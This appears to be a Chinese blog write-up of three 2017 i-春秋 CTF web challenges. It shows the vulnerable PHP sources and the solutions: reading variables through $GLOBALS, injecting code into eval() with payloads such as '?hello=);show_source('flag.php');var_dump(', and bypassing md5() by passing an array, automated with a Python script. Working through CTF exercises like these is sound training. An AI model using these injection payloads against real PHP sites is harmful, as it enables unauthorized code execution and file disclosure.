i-春秋选手训练营-web训练

10pt

“百度杯”CTF比赛 2017 二月场

Misc web 爆破-1

在这里插入图片描述

PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

<?php include "flag.php"; //包含flag.php这个文件 
$a = @$_REQUEST['hello']; //$a这个变量请求变量hello的值 
if(!preg_match('/^\w*$/',$a )){ //正则表达式,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。 
  die('ERROR');//不匹配则输出ERROR } 
  eval("var_dump($$a);"); //如果匹配输出\$\$a的值 
  //var_dump()会返回数据变量的类型和值
  show_source(__FILE__);
 ?>

传 /?hello=GLOBALS

在这里插入图片描述得flag

Misc Web 爆破-2

在这里插入图片描述

var_dump()会返回数据变量的类型和值

eval()会把字符串当作php代码

<?php
include "flag.php";//包含flag.php这个文件
$a = @$_REQUEST['hello'];//$a这个变量请求变量hello的值 
eval( "var_dump($a);");//如果匹配输出$a的值
show_source(__FILE__);

方法一:传入:?hello=file(‘flag.php’)
在这里插入图片描述方法二:传 ?hello=);show_source(‘flag.php’);var_dump(
在这里插入图片描述得flag

Misc Web 爆破-3

<?php 
error_reporting(0);//规定报告哪个错误
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

一开始nums为0,接收的value变量,要满足value数组的前两个数和whoaimi变量相同并且md5加密后的value变量为0(这个可以用MD5无法处理数组的漏洞)

也就是第一次,传入变量?value[]=ea,因此value[0]=ea 与whoami想等,所以nums++ (如果value[]=ea&value=es的话,value[0].value[1]=eaes)

然后随意A-Z+A-Z,写个脚本,把显示出来的两个随机衣服在value[]=xx传值进去,直到输出flag
变量str_rand的值是2位小写字母
如果SESSIONS中的whoami参数和参数value的值相等,并且md5()函数处理后的变量value的第5位开始往后4位等于0,nums就会加1,whoami的值就也会更新,当nums大于10的话,就能得到flag了

数组可以绕过md5的这个判断,因为md5()函数处理一个数组会返回null,null==0

第一次传参,?value[]=ea

在这里插入图片描述python脚本跑一下

import requests
 
s = requests.session()
 
strs = ['abcdefghijklmnopqrstuvwxyz']
 
url = "http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value[]=ea"
r = s.get(url)
 
for i in range(10):
    url_1 = "http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value[]=" + r.text[:2]
    r = s.get(url_1)
    print(r.url)
    if 'flag{' in r.text:
        print(r.text)

在这里插入图片描述

得到flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值